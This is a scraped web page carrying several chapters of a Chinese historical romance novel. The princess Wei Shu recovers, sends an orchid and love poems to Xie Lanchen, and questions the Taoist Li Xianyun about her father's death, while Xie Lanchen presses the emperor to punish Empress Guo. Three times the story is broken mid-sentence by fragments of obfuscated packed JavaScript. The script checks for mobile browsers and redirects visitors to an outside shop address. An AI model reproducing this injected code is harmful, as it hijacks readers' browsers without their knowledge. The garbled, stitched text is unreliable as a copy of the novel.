织云也跟着昭儿一起来了,此刻看见魏姝的病容,眼圈都红了,又听见文宁公主提到嘉王,急忙解释道:“小郡王昨天没等到公主,哭了半宿,今天一早听说公主醒了,奴婢便央了嘉王带我们进宫。” 宫内规矩森严,织云虽是宫里出去的,但要想再进却不容易,只能跟随嘉王一起进来。不过,碍于有外人在场,织云没提昨晚找嘉王哄小郡王的事。 魏姝把昭儿抱上床,这才发现他眼睛又红又肿,知道是他哭多了的缘故,顿时心疼不已,哄他道:“让织云先带你用冷玉敷敷眼睛,好不好?要不等会儿眼睛该疼了。” 昭儿见到了魏姝,心神安定下来,学着自己以前生病时魏姝对自己常做的那样,用自己的额头贴了贴魏姝的额头,没有感觉到异常,这才嗯了一声,乖乖地让织云把自己抱下去。 待昭儿离开,魏姝才分出心神,让宫人们给两位公主看座倒茶:“恕我不能起身招待了。” “都是姐妹,你又是个病人,何必这样客气。”文宁公主有些别扭地看了魏姝一眼,又说道,“昨天着实被你吓一跳,便特意带了点儿人参燕窝给你补补。”倒不是因为她好心,而是因为心虚。 昨天文宁刚嘲笑完魏姝,魏姝突然就晕了过去。好在大家当时的注意都在郭皇后身上,否则自己一定脱不了干系。也好在魏姝今天醒了,要是魏姝没醒,自己十有八九也要受追究。 “多谢姐姐好意。”魏姝让人收下礼物,又转向魏婧道,“也要多谢妹妹,我听说昨天多亏有妹妹在,我才侥幸捡回一条命。” 魏婧推辞道:“我并没有做什么,都是姐姐运气好,如果姐姐真要感谢,倒不如谢谢嘉王,若非有他一目十行,也不一定就能及时找到那本医案。” 文宁公主在边上悄悄翻了个白眼,说道:“方才路上遇见嘉王,我见他双眼通红,与昭儿不相上下,想是因为担忧妹妹,夜里也忍不住落泪了呢。嘉王和妹妹之间到底还有昭儿,关系不比常人,哪里用得着一个外人替他讨谢呢?” 文宁公主特意加重了“外人”两个字。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058053|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 魏婧面露尴尬,对魏姝道:“是我僭越了,姐姐见谅。” 魏姝只笑了笑:“等我病好了,你和嘉王自然都是要谢的。” 不过,魏姝对谢兰臣为自己哭这件事却存疑。 在她心里,谢兰臣无疑是个心软的好人,可即便如此,她也想象不出谢兰臣为谁哭泣的样子,甚至光是这样想想都觉得怪怪的。 文宁公主和魏婧算是自小长大的,但和魏姝却都不太熟,彼此之间也没什么能聊的话题,客气过几句,便有些没话说了,魏婧趁势告辞道:“姐姐大病初愈,还需多加休息,我见姐姐气色还好,也就放心了,就不多打扰了。” 文宁公主也随后告辞,但却故意多磨蹭了一会儿,没和魏婧一起离开,而是等魏婧走远了,她突然对魏姝说道:“有句话我要提醒你,你信了就信,不信就当我没说过。我知道你想和嘉王复婚,方才路上遇见嘉王,我瞧着平宁看嘉王的眼神不太对,我不好形容,总之你多提防着点总没错。” 说完,她也不管魏姝作何反应,直接转身就走。 魏姝倒意外文宁也有偏向自己的时候,但对她说的话却并不怎么在意。 以谢兰臣的家世样貌,会有人爱慕他再正常不过。若谢兰臣同自己成功复婚,等去了西北,便再也见不着魏婧,两不妨碍。若是她和谢兰臣没能复婚,这种事她更管不着了。 这边文宁和平宁一离开,织云便抱着昭儿进来,又和魏姝说了昨晚昭儿大哭不止,无奈之能求助谢兰臣的事。 谢兰臣肯哄孩子,魏姝喜闻乐见,不管哄得好与不好,至少说明他肯接受昭儿。 魏姝见昭儿的眼睛好了一些,便又撑着精神陪他玩了一会儿,忽然想到什么,又悄悄问昭儿道:“你爹爹他昨晚真的哭了吗?” 昭儿想起早起谢兰臣的红眼睛,又想到自己眼红是因为哭多了的缘故,那谢兰臣肯定也是了,于是他冲魏姝笃定地点了点头。 * 另一边勤政殿内,还不知道自己“名誉受损”的谢兰臣,正在接受元和帝的质问:“你说你想和崇宁复婚?那为何先前和离时你那般干脆,连昭儿也不要?” 谢兰臣答道:“彼时和离乃先皇旨意,不得不从。而且,昭儿非是我不要,而是孩子幼小,实在离不开母亲,才暂时让他留在公主身边的。” 元和帝冷笑一声:“你也知道你们当初和离是先皇的旨意,既是先皇之愿,如何能违背?” 昨日宫宴上如果谢兰臣提了复婚的事,元和帝便打算用这个理由拒绝的。 这还要多亏先皇疼爱魏姝,怕谢兰臣会借和离的事为难魏姝,干脆直接下旨令二人和离。 如今先皇已逝,旨意无可更改,魏姝和谢兰臣自然就不能复婚了。 谢兰臣朝皇上拜了一拜道:“皇上公正严明,敬重先帝之心令臣惭愧,臣往后绝不再提复婚之事。” 元和帝愣了一下,没想到谢兰臣竟然这么轻易便放弃了,然而下一刻,却又听谢兰臣道:“但臣恳请皇上治郭皇后欺君抗旨之罪。先皇生前曾有旨,不准郭皇后参加宫宴,不准其靠近崇宁公主,然郭皇后却置若罔闻,以致昨日险些害死崇宁公主,如此不敬先帝藐视龙威之人,当杀之以儆效尤。” “放肆!”元和帝又惊又怒,气得直接从椅子上站上了起来, 他正为外头郭皇后克魏姝的传言烦恼,哪成想谢兰臣竟然直谏,直接想要郭皇后的命! 元和帝甚至开始怀疑,谢兰臣到底是真想复婚,还是只是假借复婚之名,置郭皇后于死地、甚至趁机祸乱大安才是他的真实目的。 22. 兰花 元和帝强忍着怒气,为郭皇后辩解道:“郭皇后的事,是先皇受妖道蛊惑,误会了她,才会错下旨意,非是她不尊重先帝!” 郭皇后母仪天下,要她永远不靠近魏姝还勉强使的,可哪里有一国皇后不能参加宫宴的? 况且,二十年前郭皇后就因为此事受尽委屈,元和帝至今都愧疚当年不能保全她,如今自己当了皇帝,总不能还让人继续看她的笑话。 好在李闲云出事,成了众人眼中的妖道,那他之前的掐算自然就做不得准了,郭皇后克魏姝一事成了无稽之谈,自然也就没必要再恪守先皇的谕令,这本也是元和帝默许的。 谢兰臣却道:“可据臣所知,那李道长也并非全然是个装神弄鬼的骗子,他曾观测天象,推测某一年会有暴雪,提示先帝早做准备,之后果然应验。他是杀害了先帝,罪不容诛,可这并不能证明他之前的所有事都是错的。 “至少,郭皇后确实三次险些害死崇宁公主,若这还不算刑克,强行解释为巧合,实难令人信服。” 元和帝冷笑:“郭皇后和崇宁在宫中已经相处一年多,若郭皇后果真克魏姝,为何之前都好好的没有出事,唯独只在这次宫宴上发病?” 谢兰臣道“臣虽没研习过五行八字学说,但却听说过一句:橘生淮南则为橘,生于淮北则为枳。可见环境有异,连橘子也会有所不同,兴许场合不同,于人的气场命格也会有影响。想是崇宁公主气运煌煌,郭皇后平日里克不住她,借助宫宴上的什么玄机才妨害了公主也说不准。” 元和帝:“你自己也说是‘说不准’,那就不该乱猜,以免冤枉了好人!” “皇上训诫的是。”谢兰臣从善如流,丝毫不受元和帝怒气影响,继续不卑不亢地道,“但臣以为,此事的关键并不在郭皇后是不是克崇宁公主。所谓君令臣共,君王谕令,臣子们遵守不疑,才是正道礼法,若人人都因为觉得君王的谕令可能有误,便不遵守,那还有什么君威可言?天下又还能算是帝王的天下吗? “况郭皇后身为一国之母,本该为天下人表率,却带头不尊礼法,挑衅皇权,此举与谋逆何异?臣再次恳请皇上,惩之以警天下。” 元和帝简直要被谢兰臣这番义正言辞的话给气笑了。 前头还只是说郭皇后忤逆抗旨,这会儿已经变成郭皇后要谋逆了,谢兰臣这不止是想杀过皇后,而是要诛了郭氏整族吧! 元和帝心里已经开始忍不住骂人了,却又一时找不出话来辩,谁让确实是郭皇后理亏在先,而谢兰臣又确实是在冠冕堂皇地为帝王尊严着想呢…… 最后,元和帝深吸了口气道:“朕今日累了,此事容后再议,你先退下吧。” 谢兰臣毫不顾忌元和帝难看的脸色,道:“那臣明日再来。” 他刚退出勤政殿的大门,便听见身后传来杯盏被砸碎的声音,谢兰臣脚步未顿,继续淡定地往前走,一路出了宫门。 直到遇到等候在宫门口的谢闵,谢兰臣才放缓脚步,吩咐他把自己今天和皇上的对话传出去。 谢闵立刻就明白了谢兰臣的用意。 原本新皇登基,先后两位帝王难免会有意见相左之处,一般只要不是什么大事,朝臣都会自觉以新皇的谕令为尊,毕竟法理之外,尚有人情。 但在魏姝和谢兰臣复婚这件事上,谢兰臣家世品貌都很卓越,绝对是上好的驸马人选,加之又和崇宁公主育有一子,若崇宁公主不反对,成人之美,准许二人复婚才合乎人情。但皇上却以不能违背先帝谕令为由,不许复婚,便是只讲法理,不讲人情了。 如此,郭皇后的事自然也不该讲人情,依照法理,说郭皇后谋逆略有些勉强,但一条忤逆抗旨之罪却是逃不掉的。 谢闵道:“今上能顺利继位,可是流放了两个兄弟和一个侄子换来的,这些人虽然被流放,朝中却还有部分残留的势力,常常与今上不对付;后宫里,想把郭皇后拉下后位的人肯定也不少,若这些人能一起谏言,要求皇上处置郭皇后,郭皇后这劫怕是不好过了。” 谢兰臣已经用自己给这些各怀目的人开了个好头,接下来,就是他们上场的时候了…… 然而,接下来发生的事却比谢闵预想的还要顺利,次日早朝上已经有御史摆开阵势,要撞柱死谏,求皇上惩治郭皇后了。 * 前朝这么大的动静,住在后宫养病的魏姝自然也听说了。 事情说到底还是因魏姝而起,魏姝也知道自己这时候在宫里碍眼,索性经过太医的悉心调养后,自己基本已经痊愈,魏姝便带上昭儿回了公主府。 魏姝刚回府不久,便陆陆续续有人前来送礼探望,连外祖母家都来了人。魏姝以尚在病中为由,一个也不见,礼物也让人全都退了回去,自己却在张罗着要给谢兰臣送礼。 “东西买到了吗?”魏姝问张公公道。 “买到了,”张公公一边指挥人小心翼翼地搬上来一盆兰花,一边回道,“也是赶巧,那花匠最近恰好得了一株稀有的素冠荷鼎,这两天又正好开花,花匠宝贝得不行,原还不想卖,老奴花重金才买下来的。” 毫不夸张的说,这株兰草可是真正的价值千金。 张公公所找的花匠原是为宫里提供花草的,新皇登基后,却改选了郭家的姻亲,这家花匠的生意便没落了下来。 魏姝却记得他家养的兰草一绝,又想到谢兰臣的名字恰好有一“兰”字,人也称得上一句君子如兰,选一盆兰草作为他帮自己找到医案的谢礼,再合适不过。 于是魏姝在宫中养病的时候,便派了张公公出宫,去买兰花。 眼下,那盆素冠荷鼎已经被摆在了屋子中间,确实是魏姝从没见过的一种兰花,似是汇聚了莲瓣、素心、叶型草三种兰花的特色,花型似莲花瓣,花色素雅,几朵绽放的小花簇拥在一起,十分精致可爱。 最关键的是,这种兰花十分稀有,物以稀为贵。 魏姝满意地点点头,又取出了前头答应给谢兰臣的情诗,一并让张公公送去会同馆。 原本,魏姝只准备了三首情诗,其中一首还是那首被人栽赃的“昭昭我心”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058054|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在听昭儿说,谢兰臣因为担忧自己偷偷哭过后,魏姝既有些感动,又有一丝愧疚,便决定往后“喜欢”谢兰臣要喜欢得更认真一点,于是便趁着养病,又多写了两首情诗。 张公公临走前却有些担忧地问魏姝:“外头都传嘉王在皇上面前说过,以后再也不提复婚之事,公主今天回府,也一直不见嘉王派人来探望,会不会……”嘉王真的不想复婚了? 魏姝听懂了张公公的未尽之意。 虽然魏姝心里是信任谢兰臣的为人的,觉得谢兰臣即便真不打算再和自己复婚,也一定会知会自己一声,但到底心里也有些没底,拿不准谢兰臣到底是借逼迫郭皇后,让皇叔不得不同意他们复婚,还是只是假借复婚之名,趁机扰乱大安…… 这时候她要张公公去送谢礼,其实也有试探谢兰臣态度的意思。魏姝道:“去送就是了,且看嘉王收不收。” 若收了情诗,自然是还要复婚的意思,若不收,便是要和自己划清界限了。 张公公领命而去,好在到了会同馆,谢兰臣十分自然地收下了谢礼,并无任何犹豫推拒,张公公这才松了口气。 待张公公离开,谢闵盯着那株素冠荷鼎看了又看,想到上次在宫宴上,谢兰臣曾似真似假地抱怨崇宁公主对他爱答不理,不由玩笑道:“张公公虽然没说这株兰草价值几何,但看它的品相,也知价值不菲,看来公主对王爷的喜欢又回来了。” 谢兰臣翻看着手里的几首情诗,心道:岂止是回来了,还增加了不少。 当初在护国寺后山的桃林时,魏姝只许了自己两三首情诗,这次却让人送来了五首,多出了整整两首情诗的喜欢呢。 一旁,谢闵又开始翻看张公公带来的素冠荷鼎的种植注意事项,粗略一番,竟然有十几页之多。谢闵不由啧舌道:“这兰花好看是好看,只是养起来也太麻烦了,伺候人都没这么精细的,这花儿简直比人都要娇气。” 谢兰臣收起情诗,这才仔细端详起那盆兰花,品相确实比普通兰花更优雅高洁,但也明显更娇弱,除了名字,半点儿也不像自己,倒像宫宴上晕倒的魏姝,另有一种脆弱的美。 谢兰臣伸出手,略有些轻佻地拨弄了一下枝端的兰花,说道:“对待娇贵的东西,多费些心神也是应该的。” * 得知谢兰臣毫无避讳地收下礼物,魏姝便安心了,待用过晚膳,哄睡了昭儿,也是时候去见见李闲云了。 魏姝在宫里住了两天两夜,未免家里的李闲云被吊死,中途就让人把他放了下来,但仍然关押起来,堵上五感,没吃没喝。 李闲云的两条胳膊早在之前被吊起来的时候,双双脱臼,垂在身侧无法动弹。双臂的疼痛还只是其次,最难受的是失去五感,感觉不到外界的任何声音气味色彩以及时间,这才是最难熬的,仿佛自己被遗弃到了世界的另一边一样。 李闲云被揭开眼罩时,好一会儿才适应屋里的烛火,他眯眼看向魏姝时,目光在她脸上多停留了一会儿,然后用干哑的声音说道:“公主的面相好似变了。” 23. 好事(入V公告) 魏姝并不想和李闲云谈论什么面相,她冷笑质问:“怎么?又要开始你的花言巧语,打算像骗父皇那样也骗我一遭,哄我吃下丹药,也好毒死我?” 李闲云立刻赌咒发誓道:“小人冤枉!小人愿以三清祖师诸天佛祖起誓,小人从未害过先皇,若有虚言,便叫小人被丹炉炸死!” 李闲云手腕上的疤,便是在一次炼丹时,丹炉爆炸,被炸伤的。 “那我父皇是怎么死的?”魏姝逼视他,“你老实招来,那天在行宫到底发生了什么,若叫我知道你敢撒谎骗我,不用等丹炉爆炸,我先把你千刀万剐了。” 李闲云却突然闷咳起来,好一阵才从嗓子里挤出一声:“水……” 魏姝听他嗓音确实干涩得快要说不出话,便让人送了一碗水来,李闲云凑上前一口气喝干,缓了缓,这才含泪对魏姝哭道:“小人主动来找公主,正是为了要告知公主当年的真相……” “不用在我面前装模作样,”魏姝打断他的哭声,“之前我找了你那么久,你都不肯现身,这时候也没必要再演什么主仆情深。我早让人去护国寺查过你的底细,自从你藏身护国寺,怕会被人认出来,便故意把自己伪装得极其懦弱,以致经常受其他和尚欺负,日子过的并不如意。 “尤其是近来这段时日,你不知怎么惹怒了戒律堂的师兄,受了对方不少刁难,日常被寻到一点错处,便被又打又骂,不许你吃饱饭却总派一些繁重的活计给你。有一次,你还被人发现差点儿淹死在水缸里。 “你到底是真的主动来找我,还是迫不得已活不下去了才来找我,你我都心知肚明。我不介意你找我是何目的,哪怕是那日在护国寺,你撞见了我和嘉王在一起,想借我的势去西北,再也不用隐姓埋名被人欺负,我也不介意。只要你如实告诉我我想知道的,我不是不可以帮你。” 李闲云的哭声顿了顿,最终没再继续下去,老老实实说起了当年的事:“小人和裕王陪伴圣驾到达行宫时,先皇并无不适和异常,先皇先是和侍卫们去了林子里狩猎,午时回到行宫,召裕王一起用膳,席间不知怎的又提起裕王妃郭氏,裕王忍不住同先皇争执了几句,两人不欢而散。 “裕王离开后,先皇也没了继续用膳的心情,饮了些酒,便去寝殿小憩。小人和其他伺候的宫人一直守候在外。直到两个时辰后,先皇还不见醒,小人这才觉察出异常,入内要叫醒先皇,却发现先皇……人已经去了……” 魏姝忍下眼睛里的湿意,再次向李闲云确认:“父皇一直待你不薄,且看在这份情分上,我再问你最后一次,你方才那些话可有虚言?” “不敢有半句欺骗公主的。”李闲云的眼眶也有些泛红,虽没有流泪,却比一开始的大哭真情实感多了。 他又说道:“裕王得知先皇宾天,立刻封锁了整个行宫,随行的太医检查过,没有在先皇身上发现中毒或外伤的痕迹,认定先皇是于梦中猝死。当时我便心知不妙,趁乱逃了。 “果然,因为行宫里有不少人都知道裕王和先皇有过争执,裕王大约怕被人指责先皇是被他气死的,又加之裕王妃的事,让裕王对我一直怀恨在心,他便把所有罪名都推到了我身上……” 先皇无子,又没有留下遗诏,猝然驾崩,大安必乱,为争夺皇位,也必然有人会在先皇的死因上大做文章。 因李闲云当时一直守在先皇身边,又是头一个发现先皇出事的,裕王会为了自保,说是他害死的先皇,宗室里的其他亲王,也会为了拉下裕王,让他作证是裕王害死的先皇…… 当时想杀他的、拉拢他的,都在找他,所以李闲云不敢现身,怕被卷入其中,不得善终。 就连崇宁公主他也不敢去见,怕公主也会利用自己。 李闲云苦涩地笑了笑,他只是一个贪生怕死的小人罢了。 “小人承认自己贪生怕死,所以一直不敢去见公主,但心里却未有片刻忘记过先皇,先皇最宠爱公主,小人便也没有逃远,留在护国寺替先皇看着公主。若有人待公主不好,小人虽做不了什么大事,但给那些惹公主不好的人添些麻烦还是使得的。所幸公主一直过得不错,小人也安心不少。” 魏姝一直耿耿于怀的问题,终于有了答案,却感觉心里空落落地难受。 唯一算得上庆幸的,大概是父皇死前没有经历刺杀和背叛,走得尚算安详。 至于父皇和皇叔之间的那场争执,是不是导致父皇猝死的诱因,已经无从查证。但有一点魏姝却很清楚,那场争执,十有八九是父皇主动挑起的。 在魏姝心里,父皇自然千好万好,但客观上说,他也算不上是一个明君,尤其是在他固执地想要皇叔休了郭皇后这件事上。 一开始,父皇逼皇叔休妻确实是为了魏姝,但在被朝臣劝下后,或许是因为不满皇叔忤逆他,亦或许是想试探皇叔对郭皇后的感情到底有多深厚,父皇开始抬举器重皇叔,却每每在众人以为皇叔将要被立为皇太弟的时候,又故意提起郭皇后,一次次试探皇叔会不会为了权势利益休妻。 直到魏姝长大成人,这一直都是他父皇最爱的游戏。 魏姝也曾劝过父皇,长此以往,皇叔恐生怨怼,可父皇虽然宠爱她,却也不是事事都肯听她的…… 魏姝久久不开口,李闲云摸不着她的态度,便有些着急,又说道:“小人所说皆为肺腑之言,小人确实有想同公主一起去西北的意思,将来公主同嘉王复婚,去往西北,身边总要有几个心腹才好行事,公主知道的,小人尚算有些本领,公主总有用得着小人的时候。” 魏姝回过神,看向李闲云。 与其说李闲云先前是个道士,其实更像是术士。 他虽然不能如传说中的术士那般,立兴云雾坐成山河撒豆成兵,但是像隔物透视、啐扇还原、口吐字画这些,却手到拈来,这也是父皇能一直宠信他十几年的原因。 魏姝对他的那些“术法”也很稀奇,直到父皇过世, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058055|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从李闲云的住处抄出一本手札,上面详细记录了李闲云对各种术法的详解,魏姝这才明白,那些不过都是障眼法而已,与耍百戏的没什么区别。 不过,昭儿倒是喜欢这些,上次在街上看到耍百戏的差点儿挪不开眼,原说要买几班来,却被耽搁下了。 魏姝对身旁的张公公吩咐道:“找个郎中把他的胳膊接上,以后就让他留在府里给昭儿变戏法吧。” * 次日清早,魏姝洗漱毕,直到快用早膳的时候,仍迟迟不见昭儿过来,便叫织云去瞧瞧怎么回事。 很快,织云便领着昭儿回来,回道:“那个新来的和尚竟然会变戏法,一截枯树枝,转眼就能让它开花,真是稀奇得紧,小郡王看得入迷,这才来晚了。” 李闲云现在用的仍是改换后的模样,除了张公公,魏姝并没有向府里其他人透漏他的身份,只对外说,李闲云因为先前的冒犯,自愿留在府内做下人赎罪。 织云又笑着说道:“那和尚还说他会相面,说咱们小郡王的面相贵不可言,又说贵人语迟,所以小郡王才会说话晚,还……” 魏姝打断织云道:“你去告诉他,变戏法有手就够了,用不着他的舌头,他若再乱说些有的没的,舌头便不用要了。” 这世上最贵不可言的人只有一个,这样的话只会给昭儿招来祸患。 织云也慢半拍地意识到不妥,不由打了一下自己的嘴,一边暗骂自己真是看戏法看昏了头了,一边急忙去传话。 魏姝和昭儿一起用过早膳,又陪他看了几遍枯枝开花的戏法,魏姝原本想让李闲云多换几个戏法表演,昭儿却摇摇头,表示只想看这个,直到他突然从李闲云身上找出藏起的另一截树枝,才开开心心地表示,可以演下一个了。 戏法表演到一半,突然被一个小孩子拆穿的李闲云:……他下意识活动了两下自己的胳膊,怀疑是不是因为才复位的胳膊不如以前灵活了。 几人还没玩多久,宫里突然来人请魏姝进宫,说是皇上召见。 魏姝问传话的太监道:“我昨个儿才从宫里出来,公公可知道皇叔为何突然又让我进宫?” 织云已经把一匣子金子塞给了太监,太监颠了颠重量,立刻笑眯了眼道:“具体是为什么奴婢也不大清楚,但昨晚郭皇后突然闹着要自尽,说要给前朝一个交代,不使皇上为难,皇上安抚了郭皇后一整晚,几乎一夜没合眼,今个儿一大早,又叫人去请了公主的老师周太傅进宫,两人在御书房说了一会儿话,周太傅刚一离开,皇上便差奴婢来请公主了。” 感受着怀里坠人的重量,传话太监决定再卖魏姝一个好,又悄声道:“公主也不必忧心,想是您和小郡王有好事将近了,天大的好事。” 魏姝下意识便想到自己和谢兰臣复婚的事,可皇叔真的会这么容易就同意吗?魏姝还想要细问,那太监却不肯再多说,只含混道:“总归是件好事,等到了宫里,公主自然什么都明白了。”